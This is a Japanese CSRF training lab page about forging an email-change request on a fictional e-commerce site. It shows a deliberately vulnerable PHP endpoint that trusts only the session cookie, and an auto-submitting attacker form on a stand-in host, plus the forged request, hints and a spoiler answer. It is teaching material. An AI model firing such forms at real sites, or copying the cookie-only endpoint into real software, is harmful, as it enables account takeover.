utsuroi csrf labs Lab 01 / 5 — Apprentice
01

CSRF — メールアドレス変更フォームへの攻撃

CSRF vulnerability with no defenses

うつろい EC のマイページ — メールアドレス変更フォームがある。このフォームはCSRF Token を持たず、認証 Cookie だけで成立する脆弱な実装。

被害者は うつろい EC にログイン中(セッション Cookie が保存されている状態)。攻撃者は別ドメインの罠サイト(beauty-news.evil)を用意し、被害者にそのページを訪問させる。

被害者(うつろい EC にログイン中の store_admin)のメールアドレスを、攻撃者が指定した attacker@evil.example に書き換えてください。

「攻撃を実行」を押すと、右側で被害者が罠サイト(beauty-news.evil)を訪問するシナリオが再生されます。罠サイトの自動送信フォームが、被害者の認証 Cookie を使って うつろい EC にメールアドレス変更リクエストを送信します。
shop.utsuroi.example.com / mypage
被害者の認証状態: store_admin としてログイン済み(認証 Cookie 保持)
⚠ beauty-news.evil / promo
この罠サイトは攻撃者が制御するドメイン。被害者がフィッシングメール等で誘導されてアクセスする想定。
脆弱なサーバ実装(うつろい EC 側)
// マイページのメール変更エンドポイント
// POST /account/email
$user = get_user_from_session_cookie($_COOKIE['session']);
$user->email = $_POST['email'];
$user->save();
// ↑ Cookie だけで認証、CSRF Token も Referer も検証していない

セッション Cookie で「誰のリクエストか」は確認するが、「そのリクエストが本人の意図したものか」は確認していません。攻撃者の罠サイトから送られたリクエストでも、Cookie が添付されていれば「本人のリクエスト」と扱ってしまう。

攻撃者が用意した罠 HTML
<!-- beauty-news.evil/promo に置かれた HTML -->
<form action="https://shop.utsuroi.example.com/account/email" method="POST">
  <input type="email" name="email" value="attacker@evil.example">
</form>
<script>document.forms[0].submit();</script>

被害者が罠サイトを開くと、JavaScript が即座に form.submit() を実行。ブラウザは shop.utsuroi.example.com への POST に被害者の認証 Cookie を自動添付して送信します。

ブラウザが送るリクエスト
POST /account/email HTTP/1.1
Host: shop.utsuroi.example.com
Origin: https://beauty-news.evil   ← 攻撃者ドメインから
Cookie: session=store_admin_session_xxx   ← うつろい EC の Cookie が自動添付
Content-Type: application/x-www-form-urlencoded

email=attacker@evil.example
ヒント 1 — まず仕組みを理解

このラボでは、攻撃 HTML はすでに罠サイト(右側 iframe)に仕込まれています。あなたは「攻撃者の役」として、メールアドレスを指定して「攻撃を実行」ボタンを押すだけ。ブラウザの動作と Cookie 送信の自動性を体感してください。

ヒント 2 — なぜこれが攻撃なのか

被害者は罠サイトを開いただけで、何のフォーム送信もしていません。それなのに被害者のメールアドレスが変わってしまう。これは「ブラウザが Cookie を自動添付するルール」と「サーバが Cookie だけで認証していること」の組み合わせから生まれる脆弱性です。

正解(ネタバレ)

「攻撃を実行」を押すと右側の罠サイト iframe がリロードされ、自動送信フォームが発射されます。0.8秒後に左側のマイページのメールアドレスが attacker@evil.example に変更され、「✓ CSRF 成立」バナーが表示されます。

Mission 達成。実環境では、このパターンで攻撃者が任意のメールアドレスを設定 → パスワードリセット要求 → 被害者アカウント完全乗っ取り、という連鎖が起きます。